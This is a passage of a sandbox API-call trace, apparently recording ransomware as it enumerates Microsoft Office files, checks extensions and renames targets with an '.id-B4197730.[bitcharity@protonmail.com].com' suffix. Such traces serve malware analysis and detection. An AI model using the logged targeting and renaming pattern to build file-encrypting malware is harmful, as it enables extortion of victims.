dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_secondcall.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_secondcall.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.520] CloseHandle (hObject=0x1278) returned 1 [0267.521] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.522] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_untag.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_untag.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.522] CloseHandle (hObject=0x1278) returned 1 [0267.523] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.524] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_videoadded.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_videoadded.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.524] CloseHandle (hObject=0x1278) returned 1 [0267.525] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.525] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_videocall.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_videocall.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.526] CloseHandle (hObject=0x1278) returned 1 [0267.527] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.527] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\PUSH.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\push.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.527] CloseHandle (hObject=0x1278) returned 1 [0267.529] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.530] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\SUCTION.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\suction.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.530] CloseHandle (hObject=0x1278) returned 1 [0267.531] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.531] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\TYPE.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\type.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.531] CloseHandle (hObject=0x1278) returned 1 [0267.533] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.533] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\VOLTAGE.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\voltage.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.533] CloseHandle (hObject=0x1278) returned 1 [0267.534] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.534] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\WHOOSH.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\whoosh.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.535] CloseHandle (hObject=0x1278) returned 1 [0267.536] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.536] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\WIND.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\wind.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.536] CloseHandle (hObject=0x1278) returned 1 [0267.537] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.537] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.model.zip.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.538] CloseHandle (hObject=0x1278) returned 1 [0268.169] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.169] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.controls.zip.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.552] CloseHandle (hObject=0x1078) returned 1 [0269.770] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.770] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL097.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl097.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.157] CloseHandle (hObject=0x1104) returned 1 [0270.496] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.496] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN110.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn110.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.496] CloseHandle (hObject=0x1078) returned 1 [0271.509] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.509] SetFilePointerEx (in: hFile=0x1114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGMN120.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pgmn120.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.480] CloseHandle (hObject=0x1114) returned 1 [0273.857] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.857] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\MAIN.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\main.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.857] CloseHandle (hObject=0x1288) returned 1 [0273.864] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.864] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Dialog.accdt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\dialog.accdt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.865] CloseHandle (hObject=0x1288) returned 1 [0273.866] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.866] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Media.accdt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\media.accdt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.866] CloseHandle (hObject=0x1288) returned 1 [0273.867] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.867] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Msgbox.accdt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\msgbox.accdt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.867] CloseHandle (hObject=0x1288) returned 1 [0273.868] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.868] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tabs.accdt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\tabs.accdt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.868] CloseHandle (hObject=0x1288) returned 1 [0273.869] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.869] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tasks.accdt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\tasks.accdt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.869] CloseHandle (hObject=0x1288) returned 1 [0273.869] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.869] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Users.accdt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\users.accdt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.870] CloseHandle (hObject=0x1288) returned 1 [0273.870] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.870] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyLetter.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyletter.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.870] CloseHandle (hObject=0x1288) returned 1 [0273.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyreport.dotx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0273.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx") returned 74 [0273.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx") returned 74 [0273.871] lstrlenW (lpString=".doc") returned 4 [0273.871] lstrcmpiW (lpString1=".doc", lpString2="dotx") returned -1 [0273.871] lstrlenW (lpString=".docx") returned 5 [0273.871] lstrcmpiW (lpString1=".docx", lpString2=".dotx") returned -1 [0273.872] lstrlenW (lpString=".pdf") returned 4 [0273.872] lstrcmpiW (lpString1=".pdf", lpString2="dotx") returned -1 [0273.872] lstrlenW (lpString=".xls") returned 4 [0273.872] lstrcmpiW (lpString1=".xls", lpString2="dotx") returned -1 [0273.872] lstrlenW (lpString=".xlsx") returned 5 [0273.872] lstrcmpiW (lpString1=".xlsx", lpString2=".dotx") returned 1 [0273.872] lstrlenW (lpString=".ppt") returned 4 [0273.872] lstrcmpiW (lpString1=".ppt", lpString2="dotx") returned -1 [0273.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx") returned 74 [0273.872] lstrlenW (lpString=".zip") returned 4 [0273.872] lstrcmpiW (lpString1=".zip", lpString2="dotx") returned -1 [0273.872] lstrlenW (lpString=".rar") returned 4 [0273.872] lstrcmpiW (lpString1=".rar", lpString2="dotx") returned -1 [0273.872] lstrlenW (lpString=".bz2") returned 4 [0273.872] lstrcmpiW (lpString1=".bz2", lpString2="dotx") returned -1 [0273.872] lstrlenW (lpString=".7z") returned 3 [0273.872] lstrcmpiW (lpString1=".7z", lpString2="otx") returned -1 [0273.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx") returned 74 [0273.872] lstrlenW (lpString=".dbf") returned 4 [0273.872] lstrcmpiW (lpString1=".dbf", lpString2="dotx") returned -1 [0273.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx") returned 74 [0273.872] lstrlenW (lpString=".1cd") returned 4 [0273.872] lstrcmpiW (lpString1=".1cd", lpString2="dotx") returned -1 [0273.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx") returned 74 [0273.872] lstrlenW (lpString=".jpg") returned 4 [0273.872] lstrcmpiW (lpString1=".jpg", lpString2="dotx") returned -1 [0273.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx") returned 74 [0273.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx") returned 74 [0273.872] lstrlenW (lpString=".doc") returned 4 [0273.872] lstrcmpiW (lpString1=".doc", lpString2="dotx") returned -1 [0273.872] lstrlenW (lpString=".docx") returned 5 [0273.872] lstrcmpiW (lpString1=".docx", lpString2=".dotx") returned -1 [0273.872] lstrlenW (lpString=".pdf") returned 4 [0273.872] lstrcmpiW (lpString1=".pdf", lpString2="dotx") returned -1 [0273.872] lstrlenW (lpString=".xls") returned 4 [0273.873] lstrcmpiW (lpString1=".xls", lpString2="dotx") returned -1 [0273.873] lstrlenW (lpString=".xlsx") returned 5 [0273.873] lstrcmpiW (lpString1=".xlsx", lpString2=".dotx") returned 1 [0273.873] lstrlenW (lpString=".ppt") returned 4 [0273.873] lstrcmpiW (lpString1=".ppt", lpString2="dotx") returned -1 [0273.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx") returned 74 [0273.873] lstrlenW (lpString=".zip") returned 4 [0273.873] lstrcmpiW (lpString1=".zip", lpString2="dotx") returned -1 [0273.873] lstrlenW (lpString=".rar") returned 4 [0273.873] lstrcmpiW (lpString1=".rar", lpString2="dotx") returned -1 [0273.873] lstrlenW (lpString=".bz2") returned 4 [0273.873] lstrcmpiW (lpString1=".bz2", lpString2="dotx") returned -1 [0273.873] lstrlenW (lpString=".7z") returned 3 [0273.873] lstrcmpiW (lpString1=".7z", lpString2="otx") returned -1 [0273.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx") returned 74 [0273.873] lstrlenW (lpString=".dbf") returned 4 [0273.873] lstrcmpiW (lpString1=".dbf", lpString2="dotx") returned -1 [0273.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx") returned 74 [0273.873] lstrlenW (lpString=".1cd") returned 4 [0273.873] lstrcmpiW (lpString1=".1cd", lpString2="dotx") returned -1 [0273.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx") returned 74 [0273.873] lstrlenW (lpString=".jpg") returned 4 [0273.873] lstrcmpiW (lpString1=".jpg", lpString2="dotx") returned -1 [0273.873] lstrcmpiW (lpString1=".dotx", lpString2=".com") returned 1 [0273.873] lstrlenW (lpString="AdjacencyResume.dotx") returned 20 [0273.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0273.874] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=238821) returned 1 [0273.874] CloseHandle (hObject=0x1288) returned 1 [0273.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx")) returned 0x220 [0273.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0273.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0273.874] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.874] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.874] CloseHandle (hObject=0x1288) returned 1 [0273.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx") returned 74 [0273.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx") returned 74 [0273.874] lstrlenW (lpString=".doc") returned 4 [0273.875] lstrcmpiW (lpString1=".doc", lpString2="dotx") returned -1 [0273.875] lstrlenW (lpString=".docx") returned 5 [0273.875] lstrcmpiW (lpString1=".docx", lpString2=".dotx") returned -1 [0273.875] lstrlenW (lpString=".pdf") returned 4 [0273.875] lstrcmpiW (lpString1=".pdf", lpString2="dotx") returned -1 [0273.875] lstrlenW (lpString=".xls") returned 4 [0273.875] lstrcmpiW (lpString1=".xls", lpString2="dotx") returned -1 [0273.875] lstrlenW (lpString=".xlsx") returned 5 [0273.875] lstrcmpiW (lpString1=".xlsx", lpString2=".dotx") returned 1 [0273.875] lstrlenW (lpString=".ppt") returned 4 [0273.875] lstrcmpiW (lpString1=".ppt", lpString2="dotx") returned -1 [0273.875] lstrlenW (lpString="C:\\Program Files\\Microsoft 